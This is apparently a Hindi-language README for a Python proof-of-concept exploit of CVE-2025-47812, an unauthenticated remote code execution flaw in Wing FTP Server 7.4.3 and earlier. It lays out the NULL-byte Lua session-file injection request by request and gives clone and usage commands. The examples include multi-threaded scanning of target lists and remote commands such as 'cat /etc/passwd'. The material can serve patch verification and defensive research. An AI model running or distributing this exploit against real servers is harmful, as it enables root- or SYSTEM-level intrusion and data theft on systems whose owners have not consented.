
CVE-2025-47812 के लिए Python PoC, Wing FTP Server <= 7.4.3 में सेशन फ़ाइलों में NULL-byte Lua इंजेक्शन के ज़रिए बिना प्रमाणीकरण के RCE
/ __ \|__ / | / / | / / __ \/ |/ // _/
/ / / / /_ <| | / /| |/ / / / / /|/ / / / / // // /| |/ / | / // / / / /_/ / /// |/ |/ ___// //____/
CVE-2025-47812 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Wing FTP Server के 7.4.4 से पहले के संस्करणों में एक बिना प्रमाणीकरण के रिमोट कोड निष्पादन कमजोरी है।
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2025-47812 |
| प्रभावित | Wing FTP Server <= 7.4.3 |
| प्रकार | बिना प्रमाणीकरण के रिमोट कोड निष्पादन |
| विशेषाधिकार | root (Linux) / SYSTEM (Windows) |
| विक्रेता | wftpserver.com |
| मूल लेखक | Sheikh Mohammad Hasan उर्फ 4m3rr0r |
| द्वारा संशोधित | d3vn0mi |
Wing FTP Server का c_CheckUser() फ़ंक्शन प्रमाणीकरण उद्देश्यों के लिए उपयोगकर्ता नाम को NULL बाइट (%00) पर छोटा कर देता है, लेकिन पूरा अस्वच्छित उपयोगकर्ता नाम — NULL बाइट के बाद का सब कुछ सहित — एक Lua सत्र फ़ाइल में लिखा जाता है। जब /dir.html जैसे प्रमाणित एंडपॉइंट तक पहुँचा जाता है, तो सर्वर उस सत्र फ़ाइल को निष्पादित करता है, जिससे उन्नत विशेषाधिकारों के साथ इंजेक्ट किया गया Lua कोड ट्रिगर होता है।
1. POST /loginok.html
username=anonymous%00]]<LUA_PAYLOAD>&password=
2. Server authenticates "anonymous" (truncated at NULL)
but writes full payload into session file → returns UID cookie
3. GET /dir.html (Cookie: UID=<extracted_uid>)
Server loads session file → executes injected Lua → RCE
git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests
python3 exploit.py -u http://TARGET
python3 exploit.py -u http://TARGET -c 'id'
python3 exploit.py -f targets.txt -o vulnerable.txt -t 8
usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
[-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
[-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
[--no-verify]
target:
-u, --url URL Single target URL (e.g. http://192.168.134.130)
-f, --file FILE File containing target URLs (one per line, # comments allowed)
exploit options:
-c, --command COMMAND Command to execute on the remote server (enables verbose output)
-U, --username USERNAME Username for the exploit payload (default: anonymous)
-P, --password PASSWORD Password for the exploit payload (default: empty)
output:
-v, --verbose Enable verbose / debug logging
-o, --output OUTPUT Save vulnerable URLs to this file
-l, --log-file LOG_FILE Write detailed log to this file
network:
-t, --threads THREADS Concurrent threads for multi-target scans (default: 1)
--timeout TIMEOUT HTTP request timeout in seconds (default: 15)
--retries RETRIES Number of retries on connection failure (default: 2)
--no-verify Disable SSL certificate verification
# Check a single target
python3 exploit.py -u http://192.168.1.10
# Run 'whoami' and see full output
python3 exploit.py -u http://192.168.1.10 -c 'whoami'
# Scan a list with 8 threads, log everything to a file
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt
# Use custom credentials with SSL verification disabled
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify
# Verbose mode for debugging
python3 exploit.py -u http://192.168.1.10 -v
--log-file के माध्यम से वैकल्पिक फ़ाइल लॉगिंग-t के साथ समानांतर लक्ष्य स्कैनिंग--retries)--no-verify# टिप्पणियों और स्वचालित डिडुप्लिकेशन का समर्थन करती हैं-c पूर्ण कमांड आउटपुट दिखाता हैयह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर प्रणालियों तक अनधिकृत पहुँच अवैध है। इस उपकरण के दुरुपयोग या क्षति के लिए लेखक जिम्मेदार नहीं हैं।